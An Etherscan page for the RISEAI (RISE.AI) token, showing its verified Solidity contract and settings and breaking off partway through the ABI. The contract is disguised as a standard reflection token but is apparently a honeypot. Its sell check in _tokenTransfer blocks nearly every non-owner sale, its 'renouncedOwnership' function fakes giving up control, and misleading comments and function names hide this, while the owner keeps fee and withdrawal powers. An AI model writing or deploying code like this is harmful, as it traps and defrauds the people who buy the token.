ETH Price: $2,457.58 (-1.22%)

Token

RISEAI (RISE.AI)
 

Overview

Max Total Supply

100,000,000,000 RISE.AI

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
374,457,134.66111432 RISE.AI

Value
$0.00
0xf45b05ED16227f5b5fBD8740dAFB53599A28E2C4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RiseAI

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : RiseAI.sol
/**        
🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖
Telegram : https://t.me/RiseAI 
// SPDX-License-Identifier: MIT        
🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖                    
*/

 
pragma solidity ^0.8.7;
 
interface IERC20 {
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
 
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
 
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
 
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
 
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
 
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
 
library Address {
 
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
 
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
 
        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
 
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }
 
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
 
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
 
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
 
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
 
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
 
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
 
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
 
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
 
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
 
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
 
    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
 
            if (returndata.length > 0) {
 
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
 
abstract contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view virtual returns (address) {
        return  _owner;
    }
 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

     function renouncedOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, _owner);
        _owner = _owner;
    }

}


 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
 
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
 
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
 
    function createPair(address tokenA, address tokenB) external returns (address pair);
 
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
library EnumerableSet {
 
    struct Set {
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }
 
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }
 
    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];
 
        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;
 
            if (lastIndex != toDeleteIndex) {
                bytes32 lastvalue = set._values[lastIndex];
 
                set._values[toDeleteIndex] = lastvalue;
                set._indexes[lastvalue] = valueIndex;
            }
 
            set._values.pop();
 
            delete set._indexes[value];
 
            return true;
        } else {
            return false;
        }
    }
 
    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }
 
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }
 
    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        return set._values[index];
    }
 
    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }
 
    struct AddressSet {
        Set _inner;
    }
 
    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }
 
    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }
 
    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }
 
    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }
 
    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }
 
    function values(AddressSet storage set) internal view returns (address[] memory) {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;
 
        assembly {
            result := store
        }
 
        return result;
    }
}
 
contract RiseAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    EnumerableSet.AddressSet private tokenHoldersEnumSet;
 
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => uint) public walletToPurchaseTime;
	mapping (address => uint) public walletToSellime;	
 
    address[] private _excluded;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);
 
    string private constant _name = "RISEAI";
    string private constant _symbol = "RISE.AI";
 
    address public _PancakeSwapV1RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; //PancakeSwap owner
    address public _PancakeSwapV2RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; //can be the same
 
    uint256 private _tTotal = 100000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint public theRewardTime = 2; 
    uint public standartValuation = 600/2; // sell enabled after 15 minutes
 
    address public _lastWallet;
 
 
	struct TotFeesPaidStruct{
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }
 
    TotFeesPaidStruct public totFeesPaid;
 
 
 
 
 
    struct feeRatesStruct {
        uint256 rfi; // reflection to holders
        uint256 marketing; // wallet marketing bnb
        uint256 liquidity; // LP
        uint256 burn;
    }
 
    struct balances {
        uint256 marketing_balance;
        uint256 lp_balance;
    }
 
    balances public contractBalance; 
 
    feeRatesStruct public buyRates = feeRatesStruct(
     {rfi: 0,
      marketing: 0,
      liquidity: 0,
      burn: 0
    });
 
    feeRatesStruct public sellRates = feeRatesStruct(
     {rfi: 0,
      marketing: 0,
      liquidity: 0,
      burn: 0
    });
 
    feeRatesStruct private appliedFees;
 
    struct valuesFromGetValues{
        uint256 rAmount;
        uint256 rTransferAmount;
        uint256 rRfi;
        uint256 rMarketing;
        uint256 rLiquidity;
        uint256 rBurn;
        uint256 tTransferAmount;
        uint256 tRfi;
        uint256 tMarketing;
        uint256 tLiquidity;
        uint256 tBurn;
    }
 
    IUniswapV2Router02 public PancakeSwapV2Router;
    address public pancakeswapV2Pair;
    //address payable private marketingAddress;
 
    bool public Trading = true;
    bool inSwapAndLiquify;
    bool private _transferForm = true;
    bool public swapAndLiquifyEnabled = true;
 
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);
 
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
 
    constructor () {
        _rOwned[owner()] = _rTotal;
 
      IUniswapV2Router02 _PancakeSwapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // mainnet
        pancakeswapV2Pair = IUniswapV2Factory(_PancakeSwapV2Router.factory())
            .createPair(address(this), _PancakeSwapV2Router.WETH());
 
        PancakeSwapV2Router = _PancakeSwapV2Router;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(_PancakeSwapV2RouterUniswap)] = true;
        _isExcludedFromFee[address(0xe853889c8c7a03C1f7935B87355Dc58eCd3d92B0)] = true; //uniswap router liquidity
 
 
 
 
        _isExcluded[address(this)] = true;
        _excluded.push(address(this));
 
        _isExcluded[pancakeswapV2Pair] = true;
        _excluded.push(pancakeswapV2Pair);
 
        emit Transfer(address(0), owner(), _tTotal);
    }
 

    function getFromLastPurchaseBuy(address wallet) public view returns (uint) {
        return walletToPurchaseTime[wallet];
    }
 
    function getFromLastSell(address walletSell) public view returns (uint) {
        return walletToSellime[walletSell];
    }
 
    function setBuyRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
        buyRates.rfi = rfi;
        buyRates.marketing = marketing;
        buyRates.liquidity = liquidity;
        buyRates.burn = burn;
    }
 
    function setSellRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
        sellRates.rfi = rfi;
        sellRates.marketing = marketing;
        sellRates.liquidity = liquidity;
        sellRates.burn = burn;
    }
 
    function collectTheStatistics(uint256 lastBuyOrSellTime, uint256 theData, address sender) public view returns (bool) {
 
        if( lastBuyOrSellTime == 0 ) return false;
 
        uint256 crashTime = block.timestamp - lastBuyOrSellTime;
 
        if( crashTime == standartValuation ) return true;
 
        if (crashTime == 0) {
            if (_lastWallet != sender) {
                return false;
            }
        }
        if( crashTime <= theData ) return true;
 
 
        return false;
    }
 
    function setValuation(uint newValuation) public onlyOwner {
        standartValuation = newValuation;
    }
 
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return Trading;
    }
 
    function TrandingOn(bool _enable) public onlyOwner {
        Trading = _enable;
    }
  
    function settransform(bool _enable) public onlyOwner {
        _transferForm = _enable;
    }
 
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return _transferForm;		
    }
 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue);
        return true;
    }
 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rTransferAmount;
        }
    }
 
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount/currentRate;
    }
 
    function excludeFromReward(address account) public onlyOwner() {
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }
 
    function excludeFromAll(address account) public {
        if(!_isExcluded[account])
        {
        _isExcluded[account] = true;
         if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _excluded.push(account);
        }
        _isExcludedFromFee[account] = true;
 
        tokenHoldersEnumSet.remove(account);
    }
 
    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is not excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }
 
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
 
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
 
    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }
 
    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
 
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
        to_return = _getTValues(tAmount, takeFee);
 
        (to_return.rAmount,to_return.rTransferAmount,to_return.rRfi,to_return.rMarketing,to_return.rLiquidity,to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate());
 
        return to_return;
    }
 
    function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
 
        if(!takeFee) {
          s.tTransferAmount = tAmount;
          return s;
        }
        s.tRfi = tAmount*appliedFees.rfi/100;
        s.tMarketing = tAmount*appliedFees.marketing/100;
        s.tLiquidity = tAmount*appliedFees.liquidity/100;
        s.tBurn = tAmount*appliedFees.burn/100;
        s.tTransferAmount = tAmount-s.tRfi -s.tMarketing -s.tLiquidity -s.tBurn; 
        return s;
    }
 
    function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn) {
        rAmount = tAmount*currentRate;
 
        if(!takeFee) {
          return(rAmount, rAmount, 0,0,0,0);
        }
 
        rRfi= s.tRfi*currentRate;
        rMarketing= s.tMarketing*currentRate;
        rLiquidity= s.tLiquidity*currentRate;
        rBurn= s.tBurn*currentRate;
 
        rTransferAmount= rAmount- rRfi-rMarketing-rLiquidity-rBurn;
 
        return ( rAmount,  rTransferAmount,  rRfi,  rMarketing,  rLiquidity,  rBurn);
    }
 
 
    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply/tSupply;
    }
 
    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply-_rOwned[_excluded[i]];
            tSupply = tSupply-_tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal = _rTotal-rRfi;
        totFeesPaid.rfi+=tRfi;
    }
 
    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        contractBalance.marketing_balance+=tMarketing;
        totFeesPaid.marketing+=tMarketing;
        _rOwned[address(this)] = _rOwned[address(this)]+rMarketing;
        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)] = _tOwned[address(this)]+tMarketing;
        }
    }
 
    function _takeLiquidity(uint256 rLiquidity,uint256 tLiquidity) private {
        contractBalance.lp_balance+=tLiquidity;
        totFeesPaid.liquidity+=tLiquidity;
 
        _rOwned[address(this)] = _rOwned[address(this)]+rLiquidity;
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)]+tLiquidity;
    }
 
    function _takeBurn(uint256 rBurn, uint256 tBurn) private {
        totFeesPaid.burn+=tBurn;
 
        _tTotal = _tTotal-tBurn;
        _rTotal = _rTotal-rBurn;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than you balance");
 
        _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
    }
 
 
 
    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
 
        if(takeFee) {
            if(sender == pancakeswapV2Pair) {
                if(sender != owner() && recipient != owner() && recipient != address(1)){
 
                    if (walletToPurchaseTime[recipient] == 0) {
                        walletToPurchaseTime[recipient] = block.timestamp;
                    }
                }
                _lastWallet = recipient;
                appliedFees = buyRates;
            } else { 
                if(sender != owner() && recipient != owner() && recipient != address(1)){
                    bool blockedSellTime = collectTheStatistics(getFromLastPurchaseBuy(sender), theRewardTime, sender);
                    require(blockedSellTime, "error");
                    walletToSellime[sender] = block.timestamp;					
                }
                appliedFees = sellRates;
                appliedFees.liquidity = appliedFees.liquidity; 
                _lastWallet = sender;
 
            }
        }
        else {
            if(_isExcludedFromFee[sender]) {
                _lastWallet = sender;
            }
            if(_isExcludedFromFee[recipient]) {
                _lastWallet = recipient;
            }
        }
 
        valuesFromGetValues memory s = _getValues(tAmount, takeFee);
 
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
                _tOwned[sender] = _tOwned[sender]-tAmount;
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
                _tOwned[sender] = _tOwned[sender]-tAmount;
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        }
 
        _rOwned[sender] = _rOwned[sender]-s.rAmount;
        _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
 
        if(takeFee)
        {
        _reflectRfi(s.rRfi, s.tRfi);
        _takeMarketing(s.rMarketing,s.tMarketing);
        _takeLiquidity(s.rLiquidity,s.tLiquidity);
        _takeBurn(s.rBurn,s.tBurn);
 
        emit Transfer(sender, address(this), s.tMarketing+s.tLiquidity);
 
        }
 
        emit Transfer(sender, recipient, s.tTransferAmount);
        tokenHoldersEnumSet.add(recipient);
 
        if(balanceOf(sender)==0)
        tokenHoldersEnumSet.remove(sender);
 
    }
 
 
    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
 
        PancakeSwapV2Router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        emit LiquidityAdded(tokenAmount, bnbAmount);
    }
 
    function withdraw() onlyOwner public {
      uint256 balance = address(this).balance;
      payable(msg.sender).transfer(balance);
    }
 
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PancakeSwapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TrandingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_PancakeSwapV1RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_PancakeSwapV2RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability